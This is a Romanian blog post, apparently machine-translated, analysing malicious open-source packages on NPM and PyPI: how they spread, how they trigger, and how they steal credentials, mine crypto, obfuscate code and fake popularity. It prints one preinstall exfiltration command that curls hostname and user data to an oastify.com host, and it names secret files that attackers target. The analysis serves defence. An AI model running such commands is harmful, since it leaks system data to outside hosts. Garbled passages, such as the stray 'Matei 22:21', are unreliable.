În episodul anterior, Pachete rău intenționate cu sursă deschisă: Problema, am discutat de ce autorii amenințărilor erau atât de entuziasmați de publicarea de noi componente rău intenționate sau de injectarea de programe malware în cele mai recente versiuni ale componentelor existente: Infrastructura open source permite oricui, oriunde, să își creeze un cont efemer într-un registru de componente (cum ar fi NPM, PyPI, Docker Hub sau Visual Studio Marketplace) sau pe o platformă de dezvoltare colaborativă (cum ar fi GitHub). Cost zero și multe oportunități de valorificare a încrederii excesive pe care echipele de software o au în mod tradițional în componentele terțe.
Asimetria dintre cât de ușor este pentru atacatori să distribuie programe malware folosind infrastructura disponibilă pentru open source și cât de dificil este pentru organizațiile care dezvoltă software (pentru toată lumea?) să evite infectarea cu programe malware (și să livreze programe malware în software-ul pe care îl distribuie altora) a dus la atingerea aproape totală a unui sfert de milion de pachete rău intenționate anul trecut.
Aceasta este o problemă de o asemenea amploare încât nicio organizație nu o poate rezolva de una singură, iar comunitatea este în proces de reformulare a procesului open source în ceea ce privește încrederea, principiile securității implicite și securității prin proiectare, precum și ciclul de viață al componentelor. Vom analiza astfel de idei în episodul următor. Protecția împotriva pachetelor open source rău intenționate: Ce funcționează (sau nu funcționează).
Rețineți că vorbim despre componente software care corespund de cele mai multe ori pachete softwarecomponente reutilizabile, împachetate astfel încât să poată fi referențiate ca dependențe într-un manifest software și instalate cu un manager de pachete sau un instrument de compilare. Rețineți că acest caz ar putea fi extins pentru a include componente publice imagini de containere (utilizat de runtime-urile containerelor și platformele de orchestrare precum Kubernetes) și extensii pentru instrumente software (pentru construire, automatizare și implementare).
Aici analizăm cum aceasta tactică de atac bazată pe componente malițioase funcționează, conform exemplelor anterioare și a ceea ce am văzut pe platforma noastră pentru avertizarea timpurie a programelor malware (MEW). Vom diseca componentele malițioase în diferite dimensiuni:
(1) modalitatea aleasă pentru distribuție (registrul utilizat, într-o componentă nouă sau existentă, și tehnica utilizată pentru infectarea versiunii publicate a componentei), (2) modul în care este activat sau declanșat malware-ul, (3) comportamentul rău intenționat, adică acțiunile dăunătoare observate și care este motivația atacatorului, (4) tehnicile comune pentru ofuscare, ascundere pentru a trece neobservat, mișcare laterală, comunicare cu gazdele de comandă și control (C2) etc.; și (5) tehnicile pentru a câștiga suficientă popularitate și încredere astfel încât victimele să ajungă să instaleze componenta.
Mecanismul de distribuție ales
Observăm o „zgomot de fundal„de pachete rău intenționate nesofisticate care folosesc typosquatting pentru a-i defrauda pe dezvoltatorii neatenți cu o greșeală de scriere în numele pachetului pentru dependența lor. Multe pachete populare primesc o avalanșă de pachete cu nume similare și greșeli de scriere, cu așteptarea că acestea vor defrauda unii dezvoltatori neatenți.
Ei folosesc un cont efemer, publică un grup de pachete typosquat, creează altul și publică un alt grup... Folosind o anumită automatizare și ingeniozitate, pot obține o oarecare sofisticare, dar de obicei sunt destul de banale. Le numim intern „anșoaFurtul de acreditări este scopul principal, dar ocazional descoperim că programele spyware exfiltrează codul sursă sau datele sensibile, cum ar fi informațiile de identificare personală (PII), capturile din clipboard și alte îndoieli.
Apar din senin, vedem componente rău intenționate mai sofisticate, „rechinii”. O minoritate sunt direcționate către grupuri sau organizații specifice, de obicei cu ajutorul unor crypto drainers sau web skimmers care sunt activate condiționat, probabil urmând abordarea observată în incident de flux de evenimente decriptarea sarcinii utile a atacului numai atunci când pachetul este referențiat dintr-un pachet țintă.
Mecanismul de distribuție a fost analizat în excelenta și acum clasica lucrare „Colecția de cuțite Backstabber's Knife: O trecere în revistă a atacurilor asupra lanțului de aprovizionare cu software open source„”, care este o lectură obligatorie. Cu siguranță ați mai văzut această diagramă frumoasă:
Au fost explorate toate căile, inclusiv pachete noi și existente; afectarea codului sursă, a sistemului de compilare sau a componentei pachetizate în sine; utilizarea acreditărilor furate sau a ingineriei sociale; deturnarea conturilor și repozitoriilor abandonate sau otrăvirea celor întreținute. Unele atacuri au primit nume (typosquatting, Confuzie privind dependența, Confuzie manifestă, Repo-jacking... etc.) și au fost deja discutate în altă parte.
Dar cum rămâne cu registrele alese?
NPM continuă să fie lider în ceea ce privește numărul total de pachete rău intenționate, dar am observat o creștere bruscă începând din acest an pe PyPI. Python este un ecosistem popular pentru știința datelor și învățarea automată. De fapt, densitatea programelor malware este acum mai mare în PyPI decât în NPM.
Cum se declanșează malware-ul
Pachetele rău intenționate sunt declanșate în timpul instalării în doar 4 din 10 cazuri (în ultimii ani, acest număr a fost aproape de 6 din 10). Restul execută comportamente rău intenționate în timpul execuției, 1 din 100 fiind declanșat în timpul testelor. Adversarii par să știe că execuția necontrolată a scripturilor de instalare a fost dezactivată în multe locuri.
Ce primesc răufăcătorii?
Vom enumera categoriile de comportament rău intenționat, cu cele mai populare primele. Rețineți că impactul ar putea fi destul de diferit: a ștergător este încăpățânat de distructiv, dar nu este comun și a fost observat doar în câteva cazuri, legate de campanii de război cibernetic direcționate sau hacktivism brutal. Următoarele categorii sunt destul de comune:
- InfoStealer / Credentials DrainerDe departe cele mai frecvente, peste 90% dintre atacurile nesofisticate sunt simple atacuri care fură date, în principal informații de autentificare precum parole, token-uri de acces, chei API și chei private (pentru SSH și altele asemenea). Probabil este cel mai simplu de scris (împreună cu ștergătoare?). Acestea enumeră fișierele/directoarele cunoscute și alte surse (de exemplu, chei de registry), împachetează conținutul și trimit aceste date către un server C2. Ideea este simplă: „Public un atac care fură date de autentificare pentru phishing, astfel încât să pot folosi ulterior aceste date pentru a lansa un atac direcționat”.
Rețelele C2 observate sunt de obicei ieftine și murdare, precum canalele Telegram sau instrumente de tunelare de tip Ngrok (adesea sub formă de proxy-uri inverse expuse prin IP-uri de ieșire VPN). Există sute (!) de posibilități, cu multe proiecte GitHub sub subiect despre furtul de paroleSpecializări precum keyloggerele sunt rare pentru pachetele și imaginile containerelor rău intenționate, dar mai frecvente în extensiile de instrumente, unde este așteptată interacțiunea utilizatorului.
- Dropper / DownloaderA doua ca popularitate, de obicei prima în atacurile în mai multe etape. Mai mult de una din trei componente rău intenționate au dropper-e (dacă sarcina utilă rău intenționată este inclusă în pachet) sau downloader-e (sarcina utilă este descărcată de pe un endpoint aflat sub controlul atacatorului). Sarcina utilă este adesea o variantă binară de malware cunoscută și este rulată și uneori persistată, pentru instalarea de backdoor-uri, spyware, crypto drainere și alte cazuri de utilizare. Sarcina utilă descărcată sau implementată inițiază un atac de a doua fază cu toată puterea oferită de fișierele binare malware existente. Fișierele binare pot fi distribuite în cadrul pachetului, adesea deghizate în imagini sau tipuri de fișiere presupus inofensive, pentru a evita detectarea la conectarea la site-uri neașteptate.
- Hoți / Mineri de criptomonedeAdversarii motivați financiar sunt dispuși să utilizeze activele dvs. din cloud pentru a rula criptomineri (detectează chiar dacă rulează într-o mașină virtuală în cloud). Nu le pasă de raportul de profit scăzut de 1 dolar pentru fiecare 53 de dolari percepuți victimei pentru infrastructura cloud furată. Victimele pot să nu fie conștiente de acest lucru până când nu primesc o factură neașteptată. Din fericire, acest lucru vine și dispare. Cryptojacking campanii în pachete rău intenționate apar ocazional și apoi dispar, atacând utilizatorii de portofel electronic sau vizând în cele din urmă furnizorul de portofel, ca în cazul Atac la Ledger.
Alte comportamente, cum ar fi implementarea unui ușă din dos pentru execuția de cod la distanță prin deschiderea unui shell invers este mai puțin frecventă acum decât în trecut. De exemplu, 123rf_contributor_web pachetul (acum eliminat din registry) se deschide fără nicio obfuscare, o shell inversă copiată și lipită din Fișă informativă despre coajă inversă:
Pe lângă componentele legitime și rău intenționate, am observat mai multe abuzuri, inclusiv:
Pachete spam
Există mii de pachete mici, majoritatea în NPM, fără programe malware, dar care promit câștiguri ușoare, informații false, link-uri către oferte de Viagra și tot felul de alte informații. Câțiva utilizatori publică astfel de spam și consumă multă lățime de bandă din registru. Alți actori, posibil din Indonezia, au încercat să obțină beneficii prin... abuzând de ceaiRank destinat compensării dezvoltatorilor open-source, prin crearea a zeci de mii de pachete NPM interconectate cu repozitorii fictive GitHub aferente. Aceasta reprezintă o încălcare clară a termenilor de utilizare.
Recompense pentru erori și farse legate de cercetarea securității
Când un pachet se descrie ca exfiltrând date în scopuri bune, cum ar fi detectarea defectelor de securitate pentru programele de tip „bug bounty” sau cercetarea anumitor aspecte ale ecosistemului, am văzut mii de pachete din această categorie care preiau date de identificare, dar nu prea sensibile, către o adresă Burp Collaborator de la PortSwigger (de exemplu, o gazdă în domeniul oastify.com). Am observat adesea imitații ale... Confuzie privind dependența demonstrație de concept de către Alex Birsan, la fel ca aurora-webmail-pro pachet (eliminat din registru), care pur și simplu rulează acest cod neplăcut în scriptul de preinstalare:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") Și a inclus și un „Aceasta este o dovadă de concept pentru un atac simplu de confuzie a dependenței.„descrierea declinarii de responsabilitate din” pachet.jsonAceasta este o încălcare clară a termenilor și condițiilor de utilizare, chiar și fără intenție răuvoitoare.
Vești bune? Nu am văzut (încă) atacuri ransomware efectuate prin componente malițioase. Din motive necunoscute, infractorii cibernetici par să prefere mecanismele tradiționale de phishing prin e-mail, bazate pe RDP și cele de descărcare automată.
Tehnici suplimentare observate
Multe tehnici au fost folosite pentru persistență, evaziune în apărare, colectare de informații, comunicare cu gazdele de comandă și control și exfiltrare.
Persistență în componentele rău intenționate se obține folosind funcțiile de persistență dintr-un malware binar de stadiul doi, dar uneori comportamentul este localizat în codul pachetului, sarcinile programate și modificările din registry-ul Windows fiind cele mai frecvente.
Confuzie este comun, dar nesofisticat. Majoritatea pachetelor de typosquatting (amintiți-vă de „anșoa„?) nu folosesc deloc ofuscarea; mulți folosesc fie cifruri triviale (codare base64/hex sau cifruri de substituție precum rot13), fie folosesc ofuscatoare de cod disponibile și minificare, care pot fi ușor inversate cu instrumentele potrivite. Doar „rechinii” fac ofuscare reală, hardcore, greu de reverse-engineering.
Obfuscarea poate ascunde atacul, dar de ce ar trebui ofuscat codul dintr-o componentă open-source? Există dovezi că ceva trebuie ascuns vederii? Am găsit multe cazuri de pachete non-dăunătoare care folosesc ofuscarea pentru a proteja proprietatea intelectuală, ceea ce este contradictoriu cu „open source”. Ofuscarea poate fi folosită ca dovadă a malware-ului, dar nu este concludentă. De asemenea, este dificil de deobfuscat.
Evaziune din controalele de apărare adoptă tehnici simple. Codul rău intenționat este adesea protejat în încerca … prinde blocuri care ignoră orice excepții, astfel încât activitatea anormală nu este afișată în jurnale. Verificarea mediului (care rulează într-o mașină virtuală sau container) este rară, cu excepția cazului în care este vorba de programe malware care vizează o anumită organizație sau un anumit mediu.
Mascarea fișierelor binare în imagini și fișiere PDF (un fel de steganografie) a fost o altă tehnică observată pentru a evita detectarea.
Întrucât cele mai comune componente rău intenționate sunt infostealer-ii, de colectare a datelor este esențial. Secretele (parole, token-uri de acces, chei API, chei criptografice) sunt scanate în mod curent în fișierele jurnal, variabilele de mediu și chiar în clipboard (observat la troienii bancari și hoții de criptomonede). Exfiltrarea codului sursă este, de asemenea, frecventă, deoarece instalarea pachetului se face adesea într-un nod de dezvoltare unde ar putea fi clonate repozitoriile git interne. Am văzut pachete care enumerează directoare în căutarea repozitoriilor git. Căutarea unor locații precum .env, private.pem, settings.py, app.js sau application.properties este destul de comună.
Exfiltrarea este o altă acțiune utilizată pe scară largă. Doar o minoritate de pachete rău intenționate încearcă să ascundă destinația datelor extrase. Canalele Telegram și tuneluri asemănătoare cu ngrok-urile sunt adesea folosite. Și există multe domenii de obicei listate pe lista albă, utilizate pentru exfiltrare.
Alte tehnici, cum ar fi escaladarea privilegiilor sau mișcarea laterală, erau mai puțin frecvente.
Câștigarea popularității și a încrederii
Imaginează-ți un escroc tehnic cu o chestie rău intenționată și ucigașă, întrebându-se: „Cum fac ca această porcărie să fie de încredere pentru idioții aceia neatenți?”.
Asta se traduce prin modul de a face intrarea pentru componenta malițioasă să afișeze multe stele / bifurcații (pentru popularitate), plus versiuni / probleme și pull requests (pentru activitate). Ideea este de a obține o popularitate fictivă (stele) și persoane aflate în întreținere, precum și o imagine convingătoare în ceea ce privește relevanța și menținerea.
Registrul nu verifică dacă se potrivesc conținutul unui proiect GitHub cu conținutul pachetului.Aceasta este o problemă binecunoscută în lanțul de aprovizionare cu software. Registrele publice sunt niște doline gigantice care înghit tot ce li se aruncă în cale. Puteți conecta orice depozit.
Dacă pachetul malițios ocupă o greșeală de scriere cu un pachet popular, este simplu: trebuie doar să faceți referire la depozitul GitHub existent în manifestul de dependențe utilizat pentru crearea pachetului și publicarea acestuia în registru. Pentru pachete noi dintr-un depozit GitHub fals, este posibil să aveți nevoie de mai multă ingeniozitate, poate chiar să creați pachete false. observarea stelelor/bifurcare Conturi GitHub prin scripting.
Și dacă conținutul pachetului dvs. este destul de similar cu cel din depozit, adăugați ici și colo câteva modificări bine concepute... Puteți injecta malware-ul într-un pachet nou, asemănător cu unul popular, care face referire la depozitul existent și puteți aștepta greșelile de scriere. Dacă cineva îndrăznește să compare conținutul fișierului tar al pachetului cu conținutul din depozitul GitHub, diferențele din punctele de injectare a malware-ului ar putea fi ușor trecute cu vederea. Am mai văzut această abordare de multe ori înainte.
Un mecanism prin care o componentă să poată face o declarație inviolabilă despre proveniență, cum a fost construit ambalajul, din ce surse și de către cine ar fi binevenit. Dar aceasta este o altă poveste.
Este componenta X malware?
Există o bază de date (cuprinzătoare) a pachetelor rău intenționate? Nu. Vulnerabilitățile open source au un ID CVE atribuit, dar doar câteva pachete rău intenționate (în special cele care apar în titluri) primesc unul. CWE pentru pachetele rău intenționate este CWE-506 (cod malițios încorporat).
Instrumentele obișnuite de malware (VirusTotal, MalwareBazaar, SOREL-20M…) nu au prevederi specifice pentru componentele rău intenționate. Acest lucru ar fi binevenit!
Există baze de date și seturi de date eșantion pentru cercetare pentru analiză (folosim câteva dintre ele), dar intrările sunt actualizate doar atunci când pachetul rău intenționat este cunoscut, ceea ce este adesea prea târziu. Dacă sunteți interesat, OpenSSF Pachete rău intenționate este un început frumos.
În următoarea postare, vom discuta despre cum să știm dacă un anumit pachet este rău intenționat. Atenție: da, există modalități de a verifica componentele rău intenționate devreme în timpul ferestrei de expunere, înainte ca registry să elimine o componentă rău intenționată cunoscută.
Lecturi suplimentare
În următorul episod „Protecția împotriva pachetelor open source rău intenționate: Ce funcționează (sau nu funcționează)Matei 22:21 Vom discuta despre ce trebuie și ce nu trebuie făcut în ceea ce privește securitatea open-source. Majoritatea profesioniștilor conștienți de securitate au intuiții despre cum să gestioneze această amenințare, dar concepțiile greșite abundă.
Vom analiza de ce aceste idei sunt greșite și cum astfel de concepții greșite contribuie la popularitatea acestui mecanism de atac și la riscul copleșitor cu care se confruntă organizațiile. Vom continua apoi cu ce funcționează și care este efortul și resursele implicate.
De asemenea, vom posta despre evoluția pachetelor rău intenționate în ceea ce privește intenția, mecanismul de injectare și tehnicile de atac.
Rămâneţi aproape!
